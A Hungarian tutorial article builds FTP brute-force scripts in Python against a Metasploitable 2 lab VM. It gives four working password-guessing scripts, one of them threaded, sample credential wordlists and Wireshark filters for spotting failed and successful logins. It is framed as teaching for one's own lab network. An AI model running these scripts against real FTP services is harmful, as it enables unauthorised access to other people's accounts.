loader
Foto

FTP brute force megvalósítása Python nyelven

A Python nyelv méltán népszerű a fejlesztők körében. Ugyanakkor a hálózati mérnökök is előszeretettel alkalmazzák, hiszen relatíve néhány sor segítségével hasznos alkalmazások készíthetők. Ebben a cikkben elkészítünk néhány olyan alkalmazást, amelyek segítségével a virtuális saját (!) hálózatunkban található Metasploitable 2 virtuális gép FTP szolgáltatásának a jelszavát tesztelhetjük.

Ez a cikk oktatási céllal készült, a tartalma csak a saját virtuális hálózatunkban próbálható ki.

A saját tesztkörnyezetünkben található meg a Kali Linux VM és a Metasploitable 2 VM. Ezeknek az IP címei a következők:

Kali Linux: 192.168.1.108
Metasploitable 2 : 192.168.1.106

Az első Python kód felépítése látható a következő sorokban. A felépítése ennek az alkalmazásnak egyszerű, az "ftpLogin()" függvényben egy kivételkezelés található, amelynek a "try" blokkjában történik meg a távoli géphez (Metasploitabl2 VM) történő csatlakozás. Ha a loginnév/jelszó páros helyes, akkor az FTP porton keresztül a két VM csatlakozik egymással.

import ftplib
import sys

def ftpLogin(hostIP):
        try:
                ftp = ftplib.FTP(hostIP)
                ftp.login("msfadmin", "msfadmin")
                print("[+] " + hostIP + ": FTP Logon Succeeded")
                ftp.quit()
                return True
        except:
                print("[-]" + hostIP + ": FTP not login")

host = str(sys.argv[1])
ftpLogin(host)

 

Az első ábrán látható az alkalmazás futtatása. A futtatáskor meg kell adni a távoli gép IP címét.

kep
1. ábra   Az alkalmazás futtatása
 

Az alkalmazás futtatásakor a következő hálózati forgalom került elmentésre (2. ábra). Látható az, hogy az FTP protokoll nem rendelkezik titkosítással.

kep
2. ábra   FTP forgalom a teszthálózaton
 

Módosítsuk most úgy az alkalmazást, hogy egy jelszófile-t alkalmazva olvassuk ki soronként a felhasználónevet illetve a jelszót. A példa jelszófile tartalma itt látható.

admin:passwd
admin:password
admin:haho
plc:1
plc:12
plc:123
plc:1234
plc:password
plc:passwd
msfadmin:msfadmin
msfadmin:123456
msfadmin:654321

 

Ebből a jelszófile-ból kell tehát kiolvasni soronként az adott felhasználót és a hozzájuk tartozó jelszót.

import ftplib
import sys

def ftpLogin(host, passwdFile):
    try:
        pF = open(passwdFile, "r")
    except:
        print(" No file .....")

    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\n')
        print("Trying (login/passowrd): " + userName + " / " + passWord)

        try:
            ftp = ftplib.FTP(host)
            login = ftp.login(userName, passWord)
            print("Login Suceeded with: " + userName + "/" + passWord)
            ftp.quit()
            return(userName, passWord)
        except:
            exit

    print("Password not in list")

host = str(sys.argv[1])
passwdFile = str(sys.argv[2])

ftpLogin(host, passwdFile)

 

Nem szerencsés egy file-ban szerepeltetni a felhasználóneveket a jelszavakkal, hiszen a redundancia miatt ennek a tesztfile-nak a mérete feleslegesen lesz nagy.
Ezért módosítani kell a jelszófile-t (csak jelszavak legyenek ebben), illetve a Python scriptet is. A jelszófile a következő.

1
12
123
1234
12345
123456
msfadmin
654321
54321
4321
321
2
1

 

Módosítani kell a Python kódot is a következő megoldás szerint. A "userName" értéke soha nem változik, tehát mindig az "msfadmin" kerül tesztelésre, egyedül csak a jelszavak változnak a vizsgálat során.

import ftplib
import sys

def ftpLogin(host, passwdFile):
    try:
        pF = open(passwdFile, "r")
    except:
        print(" No file .....")

    for line in pF.readlines():
        userName = "msfadmin"
        passWord = line.split(':')[0].strip('\n')
        print("Trying (login/passowrd): " + userName + " / " + passWord)

        try:
            ftp = ftplib.FTP(host)
            login = ftp.login(userName, passWord)
            print("Login Suceeded with: " + userName + "/" + passWord)
            ftp.quit()
            return(userName, passWord)
        except:
            exit

    print("Password not in list")

host = str(sys.argv[1])
passwdFile = str(sys.argv[2])

ftpLogin(host, passwdFile)

 

A 3. ábrán látható ennek a Python scriptnek a futtatása.

kep
3. ábra   A módosított Python kód futtatása
 

Ez már egy jobb megoldás, hiszen egy adott usernév kerül csak alkalmazásra, viszont mindig egy páros (usernév/jelszó) kerül felhasználásra. Ez elég sokáig is eltarthat, ezért célszerű szálkezelést alkalmazni azért, hogy a tesztelés gyorsabban megtörténjen. 
Ezért megint (jelentősen) módosítani kell a Python kódot.

import ftplib
import sys
from threading import *


def ftpProbe(host, userName, passWord):
    try:
        ftp = ftplib.FTP(host)
        print("Trying (login/passowrd): " + userName + " / " + passWord)
        login = ftp.login(userName, passWord)
        print("Login Suceeded with: " + userName + "/" + passWord)
        ftp.quit()
        return(userName, passWord)
    except:
        exit

def ftpLogin(host, passwdFile):
    try:
        pF = open(passwdFile, "r")
    except:
        print(" No file .....")

    for line in pF.readlines():
        userName = "msfadmin"
        passWord = line.split(':')[0].strip('\n')
        t = Thread(target=ftpProbe, args=(host, userName, passWord))
        t.start()

    print("Password not in list")

host = str(sys.argv[1])
passwdFile = str(sys.argv[2])

ftpLogin(host, passwdFile)

 

Az alkalmazás futtatása során (4. ábra) jól látható a terminálablakban, hogy nem egymás után kerülnek felhasználásra a különböző párosok. Ez a szálkezelés miatt van.

kep
4. ábra   Szálkezelés alkalmazása az FTP brute force során
 

Végül nézzük meg a hálózati forgalmat. A következő filter alkalmazásával csak az FTP protokollt tartalmazó frame-ek kerülnek megjelenítésre a Wireshark GUI felületén.

ftp

 

kep
5. ábra   Az FTP protokollt tartalmazó frame-ek a hálózati forgalomban
 

Nagy forgalom esetén szinte lehetetlen megtalálni a minket érdeklő frame-eket, ezért a használni kívánt filtert bővíteni, módosítani kell. A következő filter segítségével a sikertelen bejelentkezési kisérletek láthatók.

ftp.response.code == 530

 

kep
6. ábra   Sikertelen bejelentkezési kisérletek
 

Módosítsuk a filtert, most azt a frame-et keressük, amely a sikeres bejelentkezést tartalmazza.

ftp.response.code == 230

 

kep
7. ábra   Sikeres belépés
 

A cikkben szereplő Python kódok itt érhetők el:

https://github.com/webelektronika/Network_Scripts

 

Ez a cikk oktatási céllal készült, a tartalma csak a saját virtuális hálózatunkban próbálható ki.

 



Egyéb cikkek

További cikkeink ebben a témakörben

Régebbi cikkeink

Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .

A Python programozási nyelv nagyon elterjedt a fejlesztők körében. Használják beágyazott rendszereknél, webes alkalmazásoknál, IT biztonság különböző területein, stb. Látható, hogy nagyon széles a felhasználási területe ennek a nyelvnek, ideje volt m. . . .

Bemutatjuk most a saját (!) Wifi-s hálózatunk tesztelésének az alapjait. Megnézzük, hogy hogyan lehet biztonságos jelszót választani. Feltörhetetlen rendszer nem létezik, de megismerve a tesztelés folyamatát, válaszokat kaphatunk arra vonatkozólag, h. . . .